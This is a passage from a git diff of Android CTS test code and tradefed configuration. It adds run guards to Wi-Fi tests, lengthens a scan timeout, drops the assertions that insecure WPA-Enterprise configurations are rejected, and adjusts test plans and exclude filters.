         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
@@ -199,6 +202,7 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!sShouldRunTest) return;
         // Re-enable networks.
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index b642b54..d2442d0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -159,10 +159,10 @@
 
     private static final String TAG = "WifiManagerTest";
     private static final String SSID1 = "\"WifiManagerTest\"";
-    // A full single scan duration is about 6-7 seconds if country code is set
-    // to US. If country code is set to world mode (00), we would expect a scan
-    // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
-    private static final int SCAN_TEST_WAIT_DURATION_MS = 9000;
+    // A full single scan duration is typically about 6-7 seconds, but
+    // depending on devices it takes more time (9-11 seconds). For a
+    // safety margin, the test waits for 15 seconds.
+    private static final int SCAN_TEST_WAIT_DURATION_MS = 15_000;
     private static final int TEST_WAIT_DURATION_MS = 10_000;
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
     private static final int WAIT_MSEC = 60;
@@ -1214,36 +1214,6 @@
     }
 
     /**
-     * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} returns the proper
-     * failure status code when adding an enterprise config with mandatory fields not filled in.
-     */
-    public void testAddNetworkPrivilegedFailureBadEnterpriseConfig() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
-        if (!WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
-            // Skip the test if wifi module version is older than S.
-            return;
-        }
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-            WifiConfiguration wifiConfiguration = new WifiConfiguration();
-            wifiConfiguration.SSID = SSID1;
-            wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
-            wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
-            WifiManager.AddNetworkResult result =
-                    mWifiManager.addNetworkPrivileged(wifiConfiguration);
-            assertEquals(WifiManager.AddNetworkResult.STATUS_INVALID_CONFIGURATION_ENTERPRISE,
-                    result.statusCode);
-            assertEquals(-1, result.networkId);
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    /**
      * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} works properly when the
      * calling app has permissions.
      */
@@ -4288,12 +4258,11 @@
         }
     }
 
-
     /**
-     * Verify that insecure WPA-Enterprise network configurations are rejected.
+     * Verify that secure WPA-Enterprise network configurations can be added and updated.
      */
     @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+    public void testSecureEnterpriseConfigurationsAccepted() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -4310,9 +4279,6 @@
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
-            // Verify that an insecure network is rejected
-            assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
-
             // Now configure it correctly with a Root CA cert and domain name
             wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
             wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
@@ -4324,13 +4290,6 @@
             // Verify that the update API accepts configurations configured securely
             wifiConfiguration.networkId = networkId;
             assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
-
-            // Now clear the security configuration
-            wifiConfiguration.enterpriseConfig.setCaCertificate(null);
-            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
-
-            // Verify that the update API rejects insecure configurations
-            assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
         } finally {
             if (networkId != INVALID_NETWORK_ID) {
                 // Clean up the previously added network
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 9eea9e5..600a545 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -184,6 +184,7 @@
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
     private static WifiConfiguration sTestNetwork;
+    private static boolean sShouldRunTest = false;
 
     private Context mContext;
     private WifiManager mWifiManager;
@@ -199,6 +200,7 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         // skip the test if WiFi is not supported
         if (!WifiFeature.isWifiSupported(context)) return;
+        sShouldRunTest = true;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
@@ -251,9 +253,9 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        if (!WifiFeature.isWifiSupported(context)) return;
+        if (!sShouldRunTest) return;
 
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
 
@@ -272,6 +274,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(sShouldRunTest);
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
@@ -302,6 +305,7 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!sShouldRunTest) return;
         // If there is failure, ensure we unregister the previous request.
         if (mNrNetworkCallback != null) {
             mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
index 5d80467..5e54e9b 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
@@ -97,6 +97,7 @@
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
     private static boolean sWasWifiEnabled;
+    private static boolean sShouldRunTest = false;
 
     private static Context sContext;
     private static WifiManager sWifiManager;
@@ -120,6 +121,7 @@
         if (!sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION)) return;
         // skip if the location is disabled
         if (!sContext.getSystemService(LocationManager.class).isLocationEnabled()) return;
+        sShouldRunTest = true;
 
         sWifiManager = sContext.getSystemService(WifiManager.class);
         assertThat(sWifiManager).isNotNull();
@@ -172,7 +174,7 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        if (!WifiFeature.isWifiSupported(sContext)) return;
+        if (!sShouldRunTest) return;
 
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> sWifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
@@ -192,6 +194,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(sShouldRunTest);
         mExecutorService = Executors.newSingleThreadScheduledExecutor();
         // turn screen on
         sTestHelper.turnScreenOn();
@@ -215,6 +218,7 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!sShouldRunTest) return;
         // Release the requests after the test.
         if (sNsNetworkCallback != null) {
             sConnectivityManager.unregisterNetworkCallback(sNsNetworkCallback);
diff --git a/tools/cts-device-info/Android.bp b/tools/cts-device-info/Android.bp
index 30692ea..ff85860 100644
--- a/tools/cts-device-info/Android.bp
+++ b/tools/cts-device-info/Android.bp
@@ -38,6 +38,7 @@
         "compatibility-device-util-axt",
     ],
     // Disable by default
+    enforce_uses_libs: false,
     dex_preopt: {
         enabled: false,
     },
diff --git a/tools/cts-tradefed/res/config/cts-camera-hal.xml b/tools/cts-tradefed/res/config/cts-camera-hal.xml
new file mode 100644
index 0000000..ec049c0
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-camera-hal.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a subset of CTS tests for Camera HAL ">
+    <option name="plan" value="cts-camera-hal" />
+    <option name="result-attribute" key="camera-hal" value="1" />
+
+    <!-- All camera CTS tests -->
+    <option name="compatibility:include-filter" value="CtsCameraTestCases" />
+
+    <!-- All related tests -->
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testCameraFeatures"/>
+    <option name="compatibility:include-filter" value="CtsCameraApi25TestCases" />
+    <option name="compatibility:include-filter" value="CtsCameraApi31TestCases" />
+    <option name="compatibility:include-filter" value="CtsPermissionTestCases" />
+    <option name="compatibility:include-filter" value="CtsViewTestCases" />
+
+</configuration>
\ No newline at end of file
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
index 1b6b9bb..250fba8 100644
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ b/tools/cts-tradefed/res/config/cts-foldable.xml
@@ -26,5 +26,8 @@
     <!-- b/178344549: CtsCameraTestCases failures due to covered lenses in folded mode-->
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
+    <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
+         launcher always visible on one of the screens. -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 0d6b4b1..ba0c0d3 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -237,11 +237,9 @@
     <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
     <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases[instant] android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
 
-    <!-- b/195580880 -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PkgInstallSignatureVerificationTest#testInstallV4UpdateAfterRotation" />
-
     <!-- b/194293021 -->
     <option name="compatibility:exclude-filter" value="CtsPrintTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPrintTestCases[instant]" />
 
     <!-- b/194146521 -->
     <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" />